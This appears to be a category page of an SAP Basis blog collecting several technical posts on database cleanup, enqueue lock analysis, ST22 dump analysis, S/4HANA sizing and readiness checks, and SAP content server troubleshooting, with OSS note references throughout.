Category: Basis

basis

SAP database growth control: technical cleanup

This blog will explain about technical cleanup to reduce the SAP database growth and to regain control of it.

Questions that will be answered are:

  • How to run the standard SAP clean up jobs?
  • Where can I find full list of items that could be cleaned up?
  • How to run the cleanup of some common objects?
  • Database reorganization after cleanup?
  • How can I clean up old idocs?
  • How can I clean up old table logging?
  • How can I clean up old application logs?
  • How can I clean up old RFC logs?
  • How can I clean up old change pointers?
  • How can I delete workflow logging?
  • How can I archive workflows?
  • How can I delete SAP office documents?
  • How can I delete old audit log data?
  • How can I execute specific clean up for BI systems?
  • How can I execute specific clean up for solution manager system?
  • Many more…. use search for table name

This blog assumes you have followed the step in the blog to get insight into your fast growing SAP tables.

If you run ECC on HANA or S4SHANA check out this blog on data aging.

This blog focuses on technical data objects archiving and clean up by performing deletion. If you want to setup functional archiving, start reading this blog.

List of technical clean up items

A full list of all possible technical clean up items can be found in OSS note 2388483 – How-To: Data Management for Technical Tables. The chapters below describe the most common ones.

SAP standard clean up jobs

Using SM36 you can plan all SAP standard jobs (which include a lot of clean up jobs for spools, dumps, etc) via the button Standard Jobs.

By hitting the button Default scheduling in an initial system, or after any upgrade or support package, the system will plan its default clean up schedule.

SM36 standard job scheduling

S4HANA has different set up of standard jobs. See blog.

Clean up of old idocs

Idoc data is stored in EDI* tables. Largest tables are usually EDI40, EDIDS and EDIDC.

Old idocs can be deleted using transaction WE11.

Idoc deletion

In batch mode you can schedule it as program RSETESTD.

In the bottom of the selection screen are the technical options:

Idoc deletion technical settings

The idoc deletion job can fail if there is too many data to process. If they happens remove the 4 tick boxes here and use the separate deletion programs: RSWWWIDE, RSARFCER, SBAL_DELETE and RSRLDREL2. These 5 combined programs will delete the same, but run more efficiently. This procedure is also explained in OSS note 1574016 – Deleting idocs with WE11/ RSETESTD.

Also check these OSS notes:

Clean up of table logging

Table logging is stored in table DBTABLOG (general information on table logging can be found in this blog). Deletion can be done using transaction SCU3 and then choosing the option Edit/Logs/Delete, or by using program RSTBPDEL.

After you apply OSS note 2535552 - SCU3: New authorization design for table logging: new transaction code SCU3_DEL will be available.

DBTABLOG deletion

More background information: OSS note 2335014 – DBTABLOG | Reduce size. Instructions to set up periodic job: 2388295 – RSTBPDEL | Delete logs periodically.

Bug fix OSS notes:

Clean up of application logging

Application logging (SLG1) is stored in tables BALDAT and BALHDR (for general information on the use of the application log, read this blog). Deletion can be done using transaction SLG2 or by using program SBAL_DELETE.

The last options to fine tune the number of logs per job and the commit counter setting do not appear by default. Select menu option Program/Expert mode first.

Read more details in the FAQ note: 3039724 – BALHDR and BALDAT: Application Log tables size increases [FAQ].

The deletion logic on expired and non-expired logs is described in OSS note 195157 – Application log: Deletion of logs.

For setting up a dynamic variant, follow the instructions in OSS note 2936391 – Dynamic variant to remove logs with SBAL_DELETE.

Tuned setting for commit counter is described in OSS note 2507213 – SBAL_DELETE runs too long.

Bug fix notes:

Delete old RFC data

Old RFC data can be deleted using transaction SM58, selecting some data, then in the overview screen select the menu option Log File/ Reorganize. Or by starting program RSARFCER.

More background information in OSS note 2899366 – Huge entries in table ARFCSDATA.

In this note you can also read to check SMQ1 as well, since qRFC’s are also stored in ARFCSDATA table. See blog on qRFC’s.

To delete records with update errors as well, run program RSTRFCES. See notes 3095792 – Unable to delete entries from SM58 transaction and 3245070 – How to delete tRFCs with error “Update terminated” in SM58.

Optimization and bug fix OSS notes:

Delete old change pointers

Old change pointers occupy space in tables BDCP2 and BDCPS. You can use transaction BD22 or report RBDCPCLR/RBDCPCLR2 (3248987 – The difference between reports RBDCPCLR and RBDCPCLR2) to delete them.

Delete change pointers

Detailed description of all the options can be found in OSS note 2676539 – BD22 (Report RBDCPCLR) Options Explained.

MDG change pointers

If you are using MDG: it has its own set of change pointer tables (MDGD_CP_REP_STAT). Clean up transaction code is MDGCPDEL. Program for batch job clean up is RMDGCPCLR.

Background in OSS note 3075612 – MDG-DRF: Reducing table entry of MDGD_CP_REP_STAT.

Bug fix note:

Workflows

Workflows are stored in many tables starting with SW*.

You can delete work item history with transaction SWWH or program RSWWHIDE.

Delete workflow item history

This clean up will only do the work item technical history and not the workflow itself. If workflow itself can be deleted or is to be archived is a functionality decision that the depend on the business and audit needs.

The workflow deleting program can create large amount of spools. If this is not wanted use the NULL printer.

If your business is using the GOS (generic object services) to see workflows linked to a business document, and they cannot retrieve the archived work item, please follow carefully the instructions in OSS note 2356250 – Not able to view archived workflows.

Workflow archiving

Workflow archiving can be done with archiving object WORKITEM (2578826 – Archiving Object WORKITEM – tables with deletion). For archiving setup read this blog. This note explains how to run the archiving of the WORKITEM object: 2157048 – Workflow Quick Start Guide to WORKITEM Archiving. Data display for the archived work items is explained in OSS note 2748817 – How to display Workitems from archive.

Only workflows of status Completed or Logically deleted (CANCELLED) can be archived (see OSS note 2311382 – Not all work items are archived). You can use transaction SWIA for mass logical deletion (see blog, and OSS note 2650820 – Mass complete work items manually). A custom program can be used for mass cancellation in batch mode (see blog).

If you run on HANA, read OSS note 3251001 – WORKITEM tables disk size not reduced after archiving.

Bug fix OSS notes:

Workflow deletion

If you want to delete the actual workflow you have to run program RSWWWIDE.

Take care that before deleting workflows you have checked that these are not needed for audit or financial proof. Some workflows will contain approval steps with a recording of who approved what at which time.

Orphaned workflow records

Run program RSWWWIDE_DEP to list and delete orphaned workflow records. See OSS notes 2971286 – Table SWW_PROPERTIES and 3144853 – SWWLOGHIST table size is increasing.

Large amount of documents in SAP inbox

If you have a large amount of items in your SAP inbox, you can delete them via program RSSODLIN. Background is in OSS note 63912 – SAPoffice: Delete user sessions.

Deleting SAP office documents

SAP office documents are stored in table SOFFCONT1, and can be deleted with program RSBCS_REORG. See note 966854 – Reorganization – new report. Note 988057 – Reorganization – information contains a very useful PDF document that explains what to do in cases that RSBCS_REORG is not directly can delete an SAP office document. In most cases you have to run a special program that breaks the link between the document and the data. After that is done you can delete the content. Extra explanation is in OSS note 1641830 – Reorganization of Business Communication Services data (RSBCS_REORG).

Test this first and check with the data owner that the documents are no longer needed.

For a full explanation on deleting SAP office documents (including all the pre-programs to run) and bug fix notes: read this dedicated blog on SAP office document deletion.

Migrating SAP office documents to content server.

Usually the business will not allow deletion of SAP office document (unless they are very old). You might be ending up with a SOFFCONT1 table of 100 GB or more.

In stead of deleting SAP office documents, you can also migrate them to a content server. Read more in this blog.

Change documents

Change documents do contain business data changes to business objects. If tables CDHDR and CDPOS grow very big, you start with an age analysis. You can propose to business to delete change documents older than 10 years. 10 years is the legal time you need to keep a lot of data. Deletion is done via program RSCDOK99. If business does not want to delete, but keep the data in the archive, you can use data archiving object CHANGEDOCU. Retrieval of archived change documents is via transaction RSSCD100.

Background in OSS note: 3103201 – CD: Archivierungsmöglichkeiten für die CDPOS.

Read this extensive blog on Change document data archiving.

Bug fix OSS notes:

Large SMIMCONT1

See OSS note 3171193 – SMIMCONT1 table size is large to run in SE37 the clean up function module CLEAN_LANG_SMIMCONT1. This only cleans obsolete entries.

SYS_LOB tables

If you have large SYS_LOB tables, most likely these are occupied with attachments. Consider setup of SAP content server (see blog) and then migrate the documents from the SAP database to the content server (see blog).

To analyze SYS_LOB tables, follow the instructions in this dedicated blog.

LTEX table

LTEX table is used for storing ALV extracts data. Use program BALVEXTR to delete old entries. See OSS note 557772 – ALV extracts: Improving the BALVEXTR management report.

Clean up old Audit log data

You can schedule program RSAUPURG or program RSAU_FILE_ADMIN with the right variant to delete old Audit log data:

Before deleting audit log data, first agree with your security officer on the retention period. More on audit log in this blog.

Clean up of user role assignment data

If you have an older system, you will find that many users will have double roles assigned, or roles with validity dates in the past. This will lead to large amount of entries in table AGR_USERS. You can clean up by compressing this data with program PRGN_COMPRESS_TIMES. Read more in this blog.

Clean up of web service data

If table SRT_MMASTER is growing fast, it is time for clean up of web service data: see OSS note 2231932 – ESI – How to schedule the SAP_SOAP_RUNTIME_MANAGEMENT standard background job.

Clean up of BI data

For clean up of BI data please read this dedicated blog on clean up of BI data.

In the system that BI system extracts data from, you can run diverse cleanups:

Clean up for solution manager system

For clean up of a solution manager system, read this dedicated blog.

Clean up for SAP Focused Run

For clean up of a SAP Focused Run system, read this dedicated blog.

Updating statistics

If you are running Oracle database it is wise to include in technical clean up job as last step the online reorganization of tables or indexes using program RSANAORA. See blog.

Clean up non-used indexes

Oracle has a function called index monitoring to check if indexes are used at all.  You can use it to delete non-used indexes. See OSS note 105047 – Support for Oracle functions in the SAP environment.

Enque and lock table issue analysis

Enqueue and lock table issue analysis can be bit hard form time to time. They don’t regularly occur and when they do, they can have big system performance impact.

This blog will explain:

  • How to detect enqueue issues?
  • How to quickly analyze the enqueue issues?

Detecting enqueue issues?

Enqueue issues can be easily detected in SM50 and SM66 if work process get stuck long time with status ENQ.

First analysis on enqueue issues

The first analysis on enqueue issues can be done in transaction code SM12. From the menu now select the options Extra / Diagnosis and Extra / Diagnosis in Update. This will run the diagnostics on the enqueue handling.

Result looks like:

SM12 check enqueue in update

To get statistics on the enqueue processing, on the same SM12 start screen select the menu Extra / Statistics.

Deeper analysis on enque issues

For deeper analysis on the lock issues, you might need to switch to the detailed error handling part of SM12. This is a hidden feature. To switch it on you must have the correct authorization (S_ENQUE with ALL in the activities). Switching can be done by keying in the word TEST in the GUI command line (where you key in the tcodes and the /n etc).

Now you will see an extra menu called Error Handling.

From this menu you can directly launch program RSMONENQ_PERF via the menu option Error handling/Diagnosis environment. This programs will check the performance of the enqueue handling:

Result from program RSMONENQ_PERF

The Error Handling menu will also give you option to trace the enqueue processing.

Even more analysis is possible with the Enqueue Log Analyzer. See OSS note 3110596 – Analyze the enqueue scenario with enqueue log analyzer and kernel snapshot analyzer.

More backgrounds can be found in OSS note 2252679 – How to analyze an enqueue lock problem and OSS note 2126913 – ENQU: The enqueue log (specifically on the logging).

Troubleshooting for old locks: 2422483 – Troubleshooting old locks transaction sm12.

Large log file: 3254498 – Large number of entries in enqueue backup files.

High wait times: 3250533 – High “Waiting Time for Lock Operations” statistic in Enqueue Server Administration.

Not all locks are shown: 2795956 – SM12 does not list all locks.

Lock table overflow

Lock table overflow can happen when more locks are set by programs then the available allocated memory for the locks. In a normal system this will hardly occur. But during a conversion that is operating on massive amount of data (sometimes even using parallel jobs) this lock table overflow can happen. If it happens this will effect ALL users. They will get lock table overflow error and cannot save their work. More then enough reason to have large conversion tested first on a test system with production like sizing and settings.

The FAQ note on lock table overflow is: 552289 – FAQ: R/3 lock management.

What can be done about lock table overflow?

Provided you have checked your system sizing, you can increase the lock table memory by increasing the parameter enque/table_size. More background read OSS note 1565578 – Lock Table Overflow and OSS note 13907 – System error in the block handler, overflow lock table.

Before increasing make sure to have read these two OSS notes on the lock table: OSS note 746138 – Analyzing lock table overflows and OSS note 746138 – Analyzing lock table overflows.

If you are running an older ECC system, the lock table settings in the profile parameters might be set quite low. Newer upgraded ECC system can handle much higher values of the enque/table_size parameter.

Top capacity users

In SM12 you can select menu option Extra / Top Capacity Used / Current or History to find the top users of locks. Background: 2138377 – Output delivered by “Top Capacity Used” menu in SM12.

New enqueue manager 2.0

For the new enqueue manager 2.0 read this blog.

Tips for improved short dump analysis in ST22

This blog will give you tips for improved analysis in the ST22 short dump list.

Questions that will be answered are:

  • What is this new button SAP correction notes doing there?
  • Detecting Z code in dump?
  • How to deal with RFC_NO_AUTHORITY dumps?
  • How to deal with CALL_FUNCTION_SINGLE_LOGIN_REJ dumps?
  • How to deal with TIME_OUT dumps?
  • How to deal with MESSAGE_TYPE_X dumps from program SAPLOLEA?
  • How to deal with TSV_TNEW_PAGE_ALLOC_FAILED dumps?
  • How to deal with CALL_FUNCTION_BACK_REJECTED dumps?
  • How to authorize ST22 details?
  • How can I find dumps specific to SAP HANA?

The tips below assume you have not yet any clue on how the dump is created.

If you know how the dump is created, but cannot analyze from the dump: please read the blog on the ANST tool: automated notes search tool.

SAP Correction Notes button

In newer SAP versions for most dumps you can find the SAP Correction Notes button:

Based on keywords in the short dump SAP will look for known solution correction notes.

The results might be surprisingly accurate:

ST22 notes correction found notes

If you have not setup the new SAP support backbone you will get a connection error:

Access denied

OSS note 2847665 – OSS RFC Connection fails, which refers to be backbone connection. To solve this issue: follow the instructions from OSS note 2781045 – ANST / ST22 note search “Connection cannot be established” .

If you get the message “Connection cannot be established”, check also fixes mentioned in OSS note 2605397 – ST22 – SAP Correction notes – error: “Unable to extablish OSS connection properly”.

Getting the overview of dumps

After starting transaction ST22 select menu item Goto / Overview. Fill out the dates and you now get the overview including the statistics on the occurrences:

Short dump overview

Dumps in HANA environments

SAP keeps a list of ST22 dumps especially for HANA environments: 2399990 – How-To: Analyzing ABAP Short Dumps in SAP HANA Environments. This is a very extensive note.

ST22 dump analysis authorizations

All the new ABAP stacks (as of 7.54) have the option for more fine grained ST22 authorizations. Please read OSS note 2792743 – Change in Authorization Check of ABAP Dump Analysis in release SAP_BASIS 7.54/7.77 – Authorization Object S_ABAPDUMP.

Detecting Z code in a dump

Detecting Z code in a dump is normally easy if it is a Z program. Some dumps you can have due to the fact that Z code is there in a user-exit, which again is calling SAP code. This dump will appear as looking 100% standard SAP, but when you scroll down in the Call Stack you will see Z code:

Before raising OSS message to SAP: make sure the call stack does not contain custom Z code.

RFC_NO_AUTHORITY dump

The RFC_NO_AUTHORITY is special kind of dump and typically looks like this:

ST22 dump RFC_NO_AUTHORITY

First thing to get from the dump is the user ID and the calling system (is it an internal call or call from different system). And if the user ID is a human user or system user.

Second thing to determine is: is this a valid call or not a valid call?

In case of valid call, look in the dump which authorization is missing and what needs to be added. If the addition is done: do keep an eye on the dumps, since a new dump might come for a different new authorization object.

In case of an invalid call, you need to determine how the call was initiated and take action to avoid the initiation. This is not always a simple job.

Why is checking this dump important? Complete business flows might be disrupted if this happens. It is hard to detect for the end users what is going on. It will take them time to raise an incident and for functional people to determine what is going on. This way a lot of valuable time can be lost.

What can also happen: people try to connect via RFC methods to read data. This will give lot of dumps which are hard to follow up.

If you get too many of these dumps and you can’t solve them, you can switch parameter rfc/signon_error_log to value -1. Then the dumps are no longer there in ST22, but in stead moved to SM21 system log with less detail. If you need to have the details again, switch the parameter again (it is dynamic). Background on the parameter rfc/signon_error_log can be found in OSS note 402639 – Meaningful error message texts (RFC/Workplace/EBP).

CALL_FUNCTION_SINGLE_LOGIN_REJ dump

A bit similar to the above dump is the CALL_FUNCTION_SINGLE_LONG_REJ dump. Here a user tries to login via RFC to the SAP system, from a different SAP system, or from a JCO based connector.

Again: first determine if the call is valid or not. If not valid, determine the calling source (can be hard!).

If it is a valid call, scroll down in the details section for this dump and look for the part below:

There are two codes: T-RC code and the L-RC code. Check both the codes. In this case above the user ID validity was no longer ok.

Depending on the codes different solution needs to be applied.

Why is checking this dump important? Complete business flows might be disrupted if this happens to system user. If it happens to single user he might get grumpy. It is hard to find for the end users what is going on. It will take them time to raise an incident and for functional people to determine what is going on. This way a lot of valuable time can be lost.

TIME_OUT dumps

If an online query takes longer than the timing set in parameter rdisp/max_wprun_time a TIME_OUT dump will happen. By default and best practice, this time out parameter is set to 10 minutes. This is also the case in most system.

This dump will look like:

ST22 TIME_OUT dump

If you scroll down (or click in the left section) to the User and Transaction section, you can see the ID of the user who caused this and the transaction.

First reaction of the average basis person is: call/mail the user and ask him to run this in batch mode. This is indeed one of the solutions.

Alternative potential solutions:

  • Analyze with the end-user if he can fill out more selection criteria (hence reducing the time needed to select the data)
  • Analyze with the end-user if he can run the report in multiple smaller sets
  • Check if there are known performance OSS notes for the transaction the user is running (the root cause might simply be an SAP bug)
  • Check if the database statistics of the tables queried is up to date
  • In some cases both the selection criteria are ok, and the output of the list in batch only give a few results: in this case the creation of special index might be the solution. This can happen in case of check reports that look for business exceptions.

Why is checking this dump important? Users tend to get very frustrated by the system if they hit this dump. They have to wait 10 minutes and have no result. Sometimes you see this dump a couple of times in a row. Imagine yourself being the user with a boss demanding report which crashes after 10 minutes…

MESSAGE_TYPE_X dumps from program SAPLOLEA

The MESSAGE_TYPE_X can be pointing to very serious issue. But the ones generated by program SAPLOLEA point towards one type: the SAP GUI server interaction.

This dump typically look like this: a main dump MESSAGE_TYPE_X and calling program SAPLOLEA.

This dump can have 3 main root causes:

  1. Issue in ABAP code (hit the SAP correction notes button to search for solutions)
  2. Issue in local SAP gui installation of the end user
  3. Issue in the SAP kernel

If you see many dumps with the same user ID: this typically points towards an old local SAP gui installation. Solution is to update the local SAP GUI for that user to the latest version that is supported in your company.

In rare cases the SAP kernel causes these kind of dumps. These are hard to find and detect. The only remedy here is to update the kernel at regular intervals.

To find which users use which SAP GUI version: go to transaction SM04 and add the field SAP GUI version:

Add SAP GUI version in SM04

From ABAP code: use function module TH_USER_LIST to get list of sessions. The GUI version is in the field GUIVERSION of output table USRLIST.

For more background on SAP GUI patching read this dedicated blog.

TSV_TNEW_PAGE_ALLOC_FAILED dumps

This type of dumps can have 2 main root causes:

  1. Way too many data is selected
  2. System is not properly tuned

For the second case read OSS note 2180736 – TSV_TNEW_PAGE_ALLOC_FAILED for and extensive description on what to check and update on basis level.

Known TSV_TNEW_PAGE_ALLOC_FAILED dumps:

CALL_FUNCTION_BACK_REJECTED dumps

These dumps are caused by missing callback positive listing. See OSS note 2981184 – What to do in case of CALL_FUNCTION_BACK_REJECTED short dump. The solution is to add the function module to the positive list in RFC. In no way reduce the RFC security by lowering the RFC callback security parameter rfc/callback_security_method. Read this blog on how to hack using callback RFC, and why not to lower the security.

Coding and table generation dumps

Dumps can happen due to coding and tables not generated properly. When it happens during transport import, it is normal. If it persists after the import, you need to act. Best practice notes:

Dump clean up

Dumps can be cleaned up with program RSSNAPDL. For more background on this program see oss note 1995777 – Dump deleted within a short period of time ST22.

Remove 28 day limit for keeping short dumps

Note 3020638 – Short dumps cannot be kept more than 28 days explains the 28 days limit. Applying note 3022767 – Remove implicite deletion of short dumps older than 28 days removed the limit.

SAP database growth control: getting insight

This blog will explain about getting insight into SAP database growth and controlling the growth.

Questions that will be answered are:

  • Do I have a database growth issue?
  • What are my largest tables?
  • How do I categorize my tables?

Why control database growth?

Controlling database growth has several reasons:

  • When converting to S/4 HANA you could end up with smaller physical HANA blade and need to buy less memory licenses from SAP
  • Less data storage leads to less costs (think also about production data copied back to acceptance, development and sandbox systems)
  • Back up / restore procedures are longer with large databases
  • Performance is better with smaller databases

Database growth

The most easy way to check if the database is growing too fast or not is using the Database Growth section in the SAP EWA (early watch alert). The EWA has both graphical and table representation for the growth:

EWA database growth picture

EWA database growth table

Or you can check online in the EWA workspace.

You now have to determine if the growth is acceptable or not. This depends a bit on the usage of the system, amount of users, business data, and if you already stretched your infrastructure or not.

General rules of thumb: 

1. Growth < 1 GB/month: do not spend time.
2. Growth > 1 GB/month and < 5 GB/month: implement technical clean up.
3. Growth > 5 GB/month: implement technical clean up and check for functional archiving opportunities.

Which are my largest tables?

To find the largest tables and indexes in your system start transaction DB02. In here select the option Space/Segments/Detailed Analysis and select all tables larger than 1 GB (or 1000 MB):

DB02 selection of tables larger than 1 GB

Then wait for the results and sort the results by size:

DB02 sorted by size

You can also download the full list.

Analysis of the large  tables

Processing of the tables is usually done by starting with the largest tables first.

You can divide the tables in following categories:

  1. Technical data: deletion and clean up can be done (logging you don’t want any more like some idoc types, application logging older than 2 years, etc): see blog on technical clean up
  2. Technical data: archiving or storing can be done (idocs you must store, but don’t need fast access to, attachments)
    1. In Oracle based systems, you might find large SYS_LOB tables. To analyze these, read this special blog.
  3. Functional data: archiving might be done here: for functional data archiving see this blog on technical execution, and this blog for business discussions.

SAP data management guide

SAP has a best practice document called “Data Management Guide for
SAP Business Suite” or “DVM guide”. This document is updated every quarter to half year. The publication location is bit hidden by SAP under their DVM (data volume management) service. In the bottom here go to SAP support and open the How-to-guides section. Or search on google with the term “Data Management Guide for SAP Business Suite” (you might end up with a bit older version). The guide is giving you options per large table to delete and/or archive data.

Common technical objects

Most common technical tables you will come across:

  • EDIDC, EDIDS, EDI40: idocs
  • DBTABLOG: table changes
  • BALHDR, BALDAT: application logging
  • SWW* (all that start with SWW): workflow tables
  • SYS_LOB…..$$: attachments (office attachments and/or DB storage of attachments and/or GOS, global object services attachments)

Detailed table analysis for functional tables: TAANA tool

For detailed analysis on functional tables the TAANA (table analysis) tool can be used. Simply start transaction TAANA.

Now create a table analysis variant by giving the table name and selection of the analysis variant:

TAANA start screen

The default variant will only do a record count. Some tables (like BKPF in this example) come with a predefined ARCHIVE variant. This is most useful option. If this option does not fit your need, you can also push the create Ad Hoc Report button and define your own variant.

Caution: with the ad hoc variant select your fields with care, since the analysis will count all combinations of fields you select. Never select table key fields

Results of TAANA are visible after the TAANA batch job is finished.

TAANA result

By running the proper TAANA analysis for a large functional table you get insight into the distribution per year, company code, plant, document type etc. This will help you also estimate the benefits of archiving a specific object.

For TAANA improvement on dynamic subfields, please check this blog.

If you run on HANA, you can also use SE16H for the table analysis.

Bug fix OSS note for TAANA:

Alternatives for TAANA

If you are running on HANA, you can also check using SE16H and SE16S.

From analysis to action

For the technical clean up read the special blog on this topic. For functional objects, you need to find the relation from the table to the functional data archiving object. This relation and how to find it is clearly explained in OSS note 2607963 – How to find the relationship between table and archive object.

SAP data volume management via SAP solution manager

SAP is offering option to report on data volume management via SAP solution manager directly or as a subsection in the EWA. Experience so far with this: too long in setup, too buggy. The methods described above are much, much faster and you get insight into a matter of hours. The DVM setup will take you hours to do and days/weeks to wait for results…. TAANA is way faster.

S4HANA upgrade sizing

This blog will explain options and tools you have for S/4HANA sizing for both new installations as well as upgrades.

Questions that will be answered are:

  • How can I execute S/4HANA sizing?
  • How do I execute the memory sizing for upgrading existing ECC system on non-HANA database to S/4HANA?
  • How do I execute CPU sizing for S/4HANA?
  • How do I execute disc storage sizing for S/4HANA?

Executing S/4HANA sizing

For both greenfield and existing ECC systems the SAP specific quicksizer for S/4HANA can be used: S4HANA quicksizer, then launch the tool from that page:

Quick sizer

For existing system you can pull data from existing system for greenfield you have to take either existing numbers from legacy system or input from project them.

The term quick sizing can be bit misleading. The tools is nowadays pretty advanced and requires quite some input.

How to fill the quicksizer is explained in OSS note 2467172 – How to size Fiori applications based on number of users.

Memory sizing for upgrading existing system

SAP has delivered a tool to help in sizing memory for S4HANA for upgrading an existing system. In your current ECC system you need to apply OSS note 1872170 – Business Suite on HANA and S/4HANA sizing report. This will deliver ABAP report /SDF/HDB_SIZING. You test this on development system and transport it to production for productive run.

S4HANA sizing program

Best to run this in background. You can then get the results in the spool of the batch job.

Sizing results

The results give an as good as possible estimation of memory sizing after the database conversion.

CPU sizing for S/4HANA

More details on CPU sizing can be found in OSS note 1793345 – Sizing for SAP Suite on HANA.

Disc space sizing for S/4HANA

Disc space storage sizing for S/4HANA can be found in extensive document on SAP site.

OSS notes

Before running the /SDF/HDB_SIZING program it is best to update it with the most recently available updates: 3104284 – HANA memory Sizing report – Advanced correction 15 or higher, 3149498 – HANA memory Sizing report – Advanced correction 16 and 3338309 – HANA memory Sizing report – Advanced correction 17.

Also apply this note: 3125526 – Report /SDF/HDB_SIZING_CLEAN cannot use dynamic variants.

S/4 HANA readiness check

SAP has released S4HANA readiness check 2.0. Please read this blog on the new tool version.

If you want to use old version, please read on.

This blog explains the new tool for SAP customers to prepare for S/4 HANA upgrade: S/4 HANA readiness check.

Questions that will be answered are:

  • What is the S/4 HANA readiness check?
  • How to execute it?
  • What results can I expect?

S/4 HANA readiness check

The S/4 HANA readiness check is a tool from SAP that can help you prepare for S/4 HANA upgrade. The tool is a web based online tool running in SAP cloud that is using 2 files with data from your system:

  1. Extract from your customer code
  2. Usage data of transactions measured in your system (based on ST03N data)

The outcome is online report with list of potential improvements in S/4 HANA that might be relevant for your business and list of potential issues when upgrading caused by custom code or by generic changes by SAP.

The end user guide of the tool can be found on the SAP site.

Execution of S/4 HANA readiness check

The main note for the readiness check is 2290622. This note describes that there 2 ways to run the check:

  1. Via solution manager
  2. Directly

The direct approach is the most easy. The exact steps are always updated in OSS note 2310438. Carefully implement all the prerequisite notes mentioned in this note.

After this is done 2 programs will be available.

Program SYCM_DOWNLOAD_REPOSITORY_INFO will download the ABAP custom developments.

Program SYCM_DOWNLOAD_REPOSITORY_INFO

The program will check if the where-used index is up to date. If not it will refer to OSS note 2234970. This note can be bit confusing. But basically what you need to do is run program SAPRSEUB in the background (and wait up to 2 days on larger system with many custom code!!).

Please note the following: As a prerequisite for SAP Note 2185390 or the program SYCM_DOWNLOAD_REPOSITORY_INFO, please start only the program SAPRSEUB! Do not start SAPRSEUC. If you use an MSSQL database, you must implement SAP Note 1554667 before starting SAPRSEUB; otherwise, database problems occur. More on ABAP where used index via SAPRSEUB see blog link.

The second program will capture analysis data: TMW_RC_DOWNLOAD_ANALYSIS_DATA.

Program TMW_RC_DOWNLOAD_ANALYSIS_DATA

You will have to start this program a few times. Every time it will launch a new batch job for each tick box you have selected.

Both of the programs will deliver you a zip file that you store on local PC or laptop.

These result files you upload in the SAP cloud part of the tool on the SAP support portal: https://launchpad.support.sap.com/#readiness.

Readiness tool import analysis

Now you have to wait until the analysis is done.

Result of the S/4 HANA readiness check tool

When the analysis is finished you first enter the dashboard:

Readiness tool result overview page

When zooming in you will reach the detailed screens with all the small details and relevant OSS note references:

Readiness tool details

Top right in the details list there is the button to create the results document. This is easier for sharing the results with management, since they typically don’t have an S user to logon to the tool.

Running S4HANA ABAP checks in your own system

With the remote ATC tool with special variant S4HANA Readiness you can run the ABAP checks in your onw system. Read this blog for more information.

New content for new S4HANA versions

With every new version of S4HANA (and its intermediate feature packs) SAP will update the simplification list and the corresponding OSS notes. This will also impact the analysis programs. OSS note 2399707 – Simplification Item Check lists down which note version you need to apply to your system to have the checks for the S4HANA version of your choice. For the newer notes you will have to use the TCI based OSS notes (see blog on notes tips & tricks).

If you have installed the latest TCI note, you also get a new program called /SDF/RC_START_CHECK. After start of this program you get this screen:

Readiness check program

You now can immediately see if you have new versions of OSS notes to apply to get most recent checks.

And after the run, you can use the button Application Log to see a more detailed result list on the simplification checks carried out in your system.

Custom ABAP code analysis

For a more detailed analysis on your custom ABAP code you can use the remote ATC tooling for a more detailed analysis. See this blog for details.

SAP content server technical tips and tricks

This blog will give you technical tips and tricks regarding the SAP content server.

Questions that will be answered are:

  • How can I check technical connection to content server?
  • How can I check that the content server functions work from technical side?
  • How can I test a cache server setup?
  • How can I extend to a file size limit above 2 GB?
  • How to check if a document exists in the content server?
  • How can I log document deletions?
  • How can I check and fix long response times?

Technical connection test to SAP content server

The first obvious connection test is in the administration function of the content server. Start transaction OAC0 (starts with letter O and ends with zero) and select your content server. On the next screen hit the check button. If the test is ok, click on the CSADMIN button and the detailed screen comes. There should be a green light behind your content repository. If no connection or no green light, there are issues in the linking and communication to content server (content server down, firewall block, etc). More details are in OSS note 2457912 – How to create a content repository in OAC0?.

CSADMIN only works properly with SAP content server. With external products there are restrictions. See OSS note 1879152 – CSADMIN: HTTP error: 400 Bad Request 5010: wrong usage.

Technical function test of SAP content server

To test if all the SAP content server functions are working from the technical level you can use test program RSCMST. Unfortunately there is no transaction linked by SAP, so you have to use SE38 or SA38 to start the program. After filling out the content server on first screen, you come to the second screen where you can launch the detailed tests. Per test you have to click the execute button.

Test program RSCMST result screen

Green means test has run and ok. Red is the unfortunate one where test has run and result is not ok. Yellow means test has not yet been executed.

In an ideal case all lights are green. If you have red light best to fix it by either applying OSS note to ABAP server or patch to content server.

Your specific company might not use all the technical options for content server (like the above HTTP using mCreate), but this is hard to correlate to end user scenario’s. If your users are facing issues with content server and not all lights are green on this report, it is a basis issue to be solved.

More background on the tests: OSS note 1482012 – Check the connection to content server.

Remark: the test program RSCMST can have bugs by itself. So check for latest version of this program and apply the OSS notes before running and relying on the program. Last known updates are from July 2017, by looking at keyword RSCMST in the SAP notes.

If you are running on content server 7.53 or higher, please read OSS notes 2888195 – Content Server 7.53 and report RSCMST and 2897793 – RSCMSTH2 reports errors for Content Server 7.53. This notes state that only the first 3 checks are relevant for 7.53 and higher.

Bug fix notes:

Content server check in monitoring

By using a custom ABAP program, you can test the link from ABAP server to content server and alert to monitoring. Read this blog on how to achieve this and the source of the custom ABAP program.

Content server performance

Program RSHTTP80 can be used to test the content server performance. Background OSS note: 579366 – Content server performance.

Testing cache server setup

If you have a cache server setup and want to check if that works properly, also here test program RSCMST is used. Read OSS note 2083855 – How to check cache server access on the exact parameters to fill out.

File size limit larger than 2 GB

If you want to store files larger than 2 GB, follow the instruction from this OSS note: 1705940 – Check in/out of files larger than 2GB in SAP Content Server. 2023376 – 2 GB Enablement from Knowledge Provider.

Migration of documents

You can migrate documents from the database to content server. Read this dedicated blog.

Timeout issues

For most timeout issues there is an issue with the content server. Check if the database or logfiles are not full. Reference: 2547719 – SAP Content Server: timeout error.

Long response times

In some cases attachments might have an unexpected long response time (despite small size of document). This can happen with GOS attachments and other (custom) code re-using the GOS attachments. Read OSS note 1783987 – Long response time for document display in Attachment list to set SU33 user parameters SAPHTTP_RFC_CHECK_TO and SAPCMS_RFC_CHECK_TO to value FAILED as solution. The note also explains the background.

Check document existence

To check if a document exists on the content server, follow the instructions from OSS note 2251113 – Check whether a document exists on SAP Content Server database.

Checking document deletion

If you want more information on document deletion, apply the settings from OSS note 2005308 – KPro Delete Logs to let the system log the knowledge provider document deletions in the SLG1 application log.

Signatures

Please be careful with the signature settings. They have to be consistent. This setting can be made in OAC0 for the repository and in CSADMIN for the content server. These have to be consistent. If not you get unexpected issues that it does not work, and it is hard to detect that this dis-balance in settings are causing the issue.

How to resolve the error “Tables COMPONENT and COMPONENT_DATA are inconsistent”?

In some very specific cases you will get the error “Tables COMPONENT and COMPONENT_DATA are inconsistent”. Solution for this issue might be to regenerate SAPHTTP and SAPHTTPA destinations with program RSHTTP05.

Reference OSS notes:

RFC callback hacking

This blog explains about RFC callback hacking.
